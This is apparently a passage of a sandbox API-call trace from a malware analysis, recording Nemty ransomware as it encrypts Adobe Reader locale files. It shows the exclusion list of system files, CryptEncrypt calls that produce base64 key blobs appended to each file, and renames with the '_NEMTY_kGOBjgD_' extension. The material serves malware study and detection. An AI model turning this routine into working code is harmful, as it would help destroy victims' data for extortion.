[0184.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0184.370] Sleep (dwMilliseconds=0x5) [0184.374] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x218adfd0, dwHighDateTime=0x1d561e8)) [0184.374] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x218adfd0, dwHighDateTime=0x1d561e8)) [0184.374] GetLastError () returned 0x0 [0184.374] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.374] GetLastError () returned 0x0 [0184.374] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.374] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.374] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.374] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0184.374] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0184.375] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0184.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0184.375] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="gTJ4nDCEOUSFKgkx2JR/Wom1BBwxz2cYanzWsXwm2okyqpqX9gHOPLiTCUweyR/7\r\n9cGaalAyV4PARESzfwZg/ZBXzyxL0QCrd04GSf2tYO/lWi5H3avMmSEIkNrLZiTL\r\nWmmkriHH7lLCF7BQZ0xmgln8xhMl686gr69gLQtJltbJFKywK1A/34ZzWdvngKZv\r\n+hfUGJZrmebLR1ucE6cqx1awtJmpx2iIYtx8mH3zQAw3UAqwFVtgLJeo2X2fYjs1\r\nlQqiXkY8bM3/fKw+PQMvLdHrtXFB8ITIlMacrwDQ1JbzROoM57x3UTlWCcw0862P\r\nqAX5Bi2EFbLyin3HsYaQyg==\r\n", pcchString=0x653e5dc) returned 1 [0184.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0184.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.375] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Acroform.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\acroform.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.375] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=409088) returned 1 [0184.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0184.375] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.375] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0184.385] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.385] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0184.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0184.385] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=409088, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x63e00 [0184.385] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0184.387] CloseHandle (hObject=0x2e8) returned 1 [0184.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0184.387] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.387] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.387] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0184.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0184.387] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0184.387] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.387] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Acroform.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\acroform.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Acroform.SVE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\acroform.sve._nemty_kgobjgd_")) returned 1 [0184.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0184.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0184.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.388] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="AdobeCollabSync.SVE", cAlternateFileName="ADOBEC~1.SVE")) returned 1 [0184.388] lstrcmpiW (lpString1="AdobeCollabSync.SVE", lpString2=".") returned 1 [0184.388] lstrcmpiW (lpString1="AdobeCollabSync.SVE", lpString2="..") returned 1 [0184.388] lstrcmpiW (lpString1="AdobeCollabSync.SVE", lpString2="...") returned 1 [0184.388] lstrcmpiW (lpString1="AdobeCollabSync.SVE", lpString2="windows") returned -1 [0184.388] lstrcmpiW (lpString1="AdobeCollabSync.SVE", lpString2="$RECYCLE.BIN") returned 1 [0184.388] lstrcmpiW (lpString1="AdobeCollabSync.SVE", lpString2="rsa") returned -1 [0184.388] lstrcmpiW (lpString1="AdobeCollabSync.SVE", lpString2="NTDETECT.COM") returned -1 [0184.388] lstrcmpiW (lpString1="AdobeCollabSync.SVE", lpString2="ntldr") returned -1 [0184.388] lstrcmpiW (lpString1="AdobeCollabSync.SVE", lpString2="MSDOS.SYS") returned -1 [0184.388] lstrcmpiW (lpString1="AdobeCollabSync.SVE", lpString2="IO.SYS") returned -1 [0184.388] lstrcmpiW (lpString1="AdobeCollabSync.SVE", lpString2="boot.ini") returned -1 [0184.388] lstrcmpiW (lpString1="AdobeCollabSync.SVE", lpString2="boot.ini") returned -1 [0184.388] lstrcmpiW (lpString1="AdobeCollabSync.SVE", lpString2="AUTOEXEC.BAT") returned -1 [0184.388] lstrcmpiW (lpString1="AdobeCollabSync.SVE", lpString2="ntuser.dat") returned -1 [0184.388] lstrcmpiW (lpString1="AdobeCollabSync.SVE", lpString2="desktop.ini") returned -1 [0184.388] lstrcmpiW (lpString1="AdobeCollabSync.SVE", lpString2="CONFIG.SYS") returned -1 [0184.388] lstrcmpiW (lpString1="AdobeCollabSync.SVE", lpString2="RECYCLER") returned -1 [0184.388] lstrcmpiW (lpString1="AdobeCollabSync.SVE", lpString2="BOOTSECT.BAK") returned -1 [0184.388] lstrcmpiW (lpString1="AdobeCollabSync.SVE", lpString2="bootmgr") returned -1 [0184.388] lstrcmpiW (lpString1="AdobeCollabSync.SVE", lpString2="programdata") returned -1 [0184.388] lstrcmpiW (lpString1="AdobeCollabSync.SVE", lpString2="appdata") returned -1 [0184.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0184.389] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.SVE", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0184.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.389] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.SVE", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.SVE", lpUsedDefaultChar=0x0) returned 19 [0184.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0184.389] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.SVE", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0184.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.389] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.SVE", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.SVE", lpUsedDefaultChar=0x0) returned 19 [0184.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0184.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0184.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0184.389] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.SVE", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0184.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.389] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.SVE", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.SVE", lpUsedDefaultChar=0x0) returned 19 [0184.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0184.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0184.389] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.SVE", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0184.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.389] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.SVE", cchWideChar=19, lpMultiByteStr=0x4f9ed58, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.SVE", lpUsedDefaultChar=0x0) returned 19 [0184.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0184.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0184.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0184.389] Sleep (dwMilliseconds=0x5) [0184.390] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x218d4130, dwHighDateTime=0x1d561e8)) [0184.390] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x218d4130, dwHighDateTime=0x1d561e8)) [0184.390] GetLastError () returned 0x0 [0184.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.390] GetLastError () returned 0x0 [0184.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0184.390] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0184.390] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0184.390] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0184.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0184.390] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e5dc | out: pszString="oAFyNYmLKQCx7u0NlEZIrU11VEI2uajykDe8UMELkJYe96bcYu4e7mvplfPngabj\r\n8P0r+cG8NL4NxDt6B0WGaxFInvYB3FCvB0tfBTx/cpNzLcgxSusMzyDfyxO7Fcz8\r\nNUgWCIY1HufuqKjXFjYoF5mXgA/yEGl325GhbnHXt1GYbBgocxwZHQa9qZbZXcoY\r\nxENpdXOQ+sV8ga0a+6yjSfjOWrC7y7bHGhtJDMpw6HyTle0hBoRcAGf1WlO8Nn35\r\nnyzlk/u4pQtR11PtR8GG5E4u9npAQVs4FUy+Z3PRpDUaR9fM+TIuofOsne0iQ8jJ\r\nqXuVuydubNDWbl9wBbl9XA==\r\n", pcchString=0x653e5dc) returned 1 [0184.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0184.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0184.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0184.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.391] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\AdobeCollabSync.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\adobecollabsync.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.391] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=6656) returned 1 [0184.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1a00) returned 0x6352c48 [0184.391] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.391] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1a00, lpOverlapped=0x0) returned 1 [0184.393] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.393] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1a00, lpOverlapped=0x0) returned 1 [0184.393] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0184.393] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=6656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a00 [0184.393] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0184.393] CloseHandle (hObject=0x2e8) returned 1 [0184.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0184.393] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0184.393] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0184.393] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0184.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0184.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0184.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0184.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0184.394] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\AdobeCollabSync.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\adobecollabsync.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\AdobeCollabSync.SVE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\adobecollabsync.sve._nemty_kgobjgd_")) returned 1 [0184.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0184.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0184.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0184.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.394] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d6d1a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x76c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Annots.SVE", cAlternateFileName="")) returned 1 [0184.394] lstrcmpiW (lpString1="Annots.SVE", lpString2=".") returned 1 [0184.394] lstrcmpiW (lpString1="Annots.SVE", lpString2="..") returned 1 [0184.394] lstrcmpiW (lpString1="Annots.SVE", lpString2="...") returned 1 [0184.394] lstrcmpiW (lpString1="Annots.SVE", lpString2="windows") returned -1 [0184.395] lstrcmpiW (lpString1="Annots.SVE", lpString2="$RECYCLE.BIN") returned 1 [0184.395] lstrcmpiW (lpString1="Annots.SVE", lpString2="rsa") returned -1 [0184.395] lstrcmpiW (lpString1="Annots.SVE", lpString2="NTDETECT.COM") returned -1 [0184.395] lstrcmpiW (lpString1="Annots.SVE", lpString2="ntldr") returned -1 [0184.395] lstrcmpiW (lpString1="Annots.SVE", lpString2="MSDOS.SYS") returned -1 [0184.395] lstrcmpiW (lpString1="Annots.SVE", lpString2="IO.SYS") returned -1 [0184.395] lstrcmpiW (lpString1="Annots.SVE", lpString2="boot.ini") returned -1 [0184.395] lstrcmpiW (lpString1="Annots.SVE", lpString2="boot.ini") returned -1 [0184.395] lstrcmpiW (lpString1="Annots.SVE", lpString2="AUTOEXEC.BAT") returned -1 [0184.395] lstrcmpiW (lpString1="Annots.SVE", lpString2="ntuser.dat") returned -1 [0184.395] lstrcmpiW (lpString1="Annots.SVE", lpString2="desktop.ini") returned -1 [0184.395] lstrcmpiW (lpString1="Annots.SVE", lpString2="CONFIG.SYS") returned -1 [0184.395] lstrcmpiW (lpString1="Annots.SVE", lpString2="RECYCLER") returned -1 [0184.395] lstrcmpiW (lpString1="Annots.SVE", lpString2="BOOTSECT.BAK") returned -1 [0184.395] lstrcmpiW (lpString1="Annots.SVE", lpString2="bootmgr") returned -1 [0184.395] lstrcmpiW (lpString1="Annots.SVE", lpString2="programdata") returned -1 [0184.395] lstrcmpiW (lpString1="Annots.SVE", lpString2="appdata") returned -1 [0184.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.395] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.SVE", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0184.395] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.SVE", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.SVE", lpUsedDefaultChar=0x0) returned 10 [0184.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.395] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.SVE", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0184.395] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.SVE", 